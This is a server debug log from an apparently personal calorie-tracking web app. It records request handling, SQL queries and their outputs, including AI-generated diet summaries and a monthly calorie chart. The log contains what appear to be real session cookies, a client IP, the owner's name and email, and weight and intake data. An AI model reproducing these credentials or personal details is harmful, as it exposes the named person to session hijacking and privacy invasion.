    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T06:31:14.373Z server-connect:app Executing action step identify
2025-12-19T06:31:14.373Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.373Z server-connect:output identity: 1
2025-12-19T06:31:14.729Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T06:31:14.730Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T06:31:14.731Z server-connect:app Executing action step identify
2025-12-19T06:31:14.731Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.731Z server-connect:output identity: 1
2025-12-19T06:31:14.731Z server-connect:app Executing action step restrict
2025-12-19T06:31:14.731Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T06:31:14.733Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T06:31:14.734Z server-connect:output restrict: undefined
2025-12-19T06:31:14.734Z server-connect:app Executing action step single
2025-12-19T06:31:14.734Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T06:31:14.734Z server-connect:app Executing action step identify
2025-12-19T06:31:14.734Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.734Z server-connect:output identity: 1
2025-12-19T06:31:14.734Z server-connect:app Executing action step restrict
2025-12-19T06:31:14.734Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T06:31:14.735Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T06:31:14.735Z server-connect:app Executing action step identify
2025-12-19T06:31:14.735Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.735Z server-connect:output identity: 1
2025-12-19T06:31:14.736Z server-connect:app Executing action step restrict
2025-12-19T06:31:14.736Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.736Z server-connect:output restrict: undefined
2025-12-19T06:31:14.736Z server-connect:app Executing action step single
2025-12-19T06:31:14.736Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T06:31:14.737Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T06:31:14.737Z server-connect:output restrict: undefined
2025-12-19T06:31:14.737Z server-connect:app Executing action step select
2025-12-19T06:31:14.737Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T06:31:14.738Z server-connect:app Executing action step identify
2025-12-19T06:31:14.738Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:14.738Z server-connect:output identity: 1
2025-12-19T06:31:14.738Z server-connect:app Executing action step restrict
2025-12-19T06:31:14.738Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T06:31:14.738Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be very light, with a focus on protein supplementation. While this aligns with muscle development goals, the overall volume and variety of food seem insufficient for sustained energy and recovery. The recent weight trend shows a gradual decrease, suggesting the current approach is leading towards fat loss.",
    bad_points: [
      'Extremely limited food variety and overall quantity consumed.',
      'Lack of substantial meals throughout the day.',
      'Potential for inadequate micronutrient intake due to limited food sources.',
      'Milk tea, even without sugar, contributes some calories and carbohydrates.'
    ],
    good_points: [
      'Inclusion of whey protein to support muscle recovery and development.',
      'Pre-workout supplement for enhanced gym performance.',
      'Walnuts provide healthy fats and some micronutrients.'
    ],
    suggestions: [
      'Incorporate more whole foods, including complex carbohydrates and a wider range of vegetables and fruits.',
      'Ensure adequate protein intake from diverse sources beyond just whey.',
      'Plan for balanced meals spread throughout the day to support energy levels and recovery.',
      'Increase overall food volume to meet nutritional needs for muscle development and fat loss.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T06:31:14.739Z server-connect:output restrict: undefined
2025-12-19T06:31:14.739Z server-connect:app Executing action step single
2025-12-19T06:31:14.739Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T06:31:14.740Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T06:31:14.740Z server-connect:app Executing action step select
2025-12-19T06:31:14.740Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T06:31:14.741Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T06:31:14.742Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  }
]
2025-12-19T06:31:14.742Z server-connect:app Executing action step setvalue
2025-12-19T06:31:14.742Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T06:31:14.742Z server-connect:output var_total: 246
2025-12-19T06:31:14.742Z server-connect:app Executing action step setvalue
2025-12-19T06:31:14.742Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T06:31:14.742Z server-connect:output var_consumed: 10
2025-12-19T06:31:14.742Z server-connect:app Executing action step setvalue
2025-12-19T06:31:14.742Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T06:31:14.742Z server-connect:output var_deficit: 2154
2025-12-19T06:31:14.743Z server-connect:app Executing action step custom
2025-12-19T06:31:14.743Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T06:31:14.744Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '246',
    surplus_or_deficit: '2154',
    status_flag: 2
  }
]
2025-12-19T06:31:15.285Z server-connect:app Executing action step identify
2025-12-19T06:31:15.286Z server-connect:app options: { provider: 'security' }
2025-12-19T06:31:15.286Z server-connect:output identity: 1
2025-12-19T06:35:39.925Z server-connect:app Executing action step identify
2025-12-19T06:35:39.925Z server-connect:app options: { provider: 'security' }
2025-12-19T06:35:39.925Z server-connect:output identity: 1
2025-12-19T06:35:41.985Z server-connect:app Executing action step identify
2025-12-19T06:35:41.985Z server-connect:app options: { provider: 'security' }
2025-12-19T06:35:41.985Z server-connect:output identity: 1
2025-12-19T07:07:44.239Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T07:07:44.240Z server-connect:app Executing action step identify
2025-12-19T07:07:44.240Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:44.240Z server-connect:output identity: 1
2025-12-19T07:07:44.240Z server-connect:app Executing action step restrict
2025-12-19T07:07:44.240Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T07:07:44.242Z server-connect:output restrict: undefined
2025-12-19T07:07:44.242Z server-connect:app Executing action step processWithGemini
2025-12-19T07:07:44.242Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T07:07:46.240Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Roti',
      quantity: '3.5',
      calories_per_serving: 100,
      total_calories: 350,
      protein: 10.5,
      carbs: 73.5,
      fat: 3.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Aloo Matar Sabzi',
      quantity: '1 serving (approx 150g)',
      calories_per_serving: 150,
      total_calories: 150,
      protein: 4.5,
      carbs: 22.5,
      fat: 6,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
    }
  ],
  total_macros: {
    protein: { value: 15, unit: 'g' },
    carbs: { value: 96, unit: 'g' },
    fat: { value: 9.5, unit: 'g' },
    total_calories: { value: 500, unit: 'kcal' }
  }
}
2025-12-19T07:07:52.618Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T07:07:52.619Z server-connect:app Executing action step identify
2025-12-19T07:07:52.619Z server-connect:app options: { provider: 'security' }
2025-12-19T07:07:52.619Z server-connect:output identity: 1
2025-12-19T07:07:52.619Z server-connect:app Executing action step restrict
2025-12-19T07:07:52.619Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T07:07:52.620Z server-connect:output restrict: undefined
2025-12-19T07:07:52.620Z server-connect:app Executing action step condition
2025-12-19T07:07:52.620Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T07:07:52.620Z server-connect:app Executing action step repeat
2025-12-19T07:07:52.620Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T07:07:52.620Z server-connect:app Executing action step insert
2025-12-19T07:07:52.620Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T07:07:52.622Z server-connect:output calories: { affected: 1, identity: 452 }
2025-12-19T07:07:52.623Z server-connect:app Executing action step insert
2025-12-19T07:07:52.623Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T07:07:52.623Z server-connect:output calories: { affected: 1, identity: 453 }
2025-12-19T07:07:52.623Z server-connect:output repeat: [ {}, {} ]
2025-12-19T07:07:52.623Z server-connect:output condition: undefined
2025-12-19T07:07:52.841Z server-connect:router Serving templateView /calorie-tracker
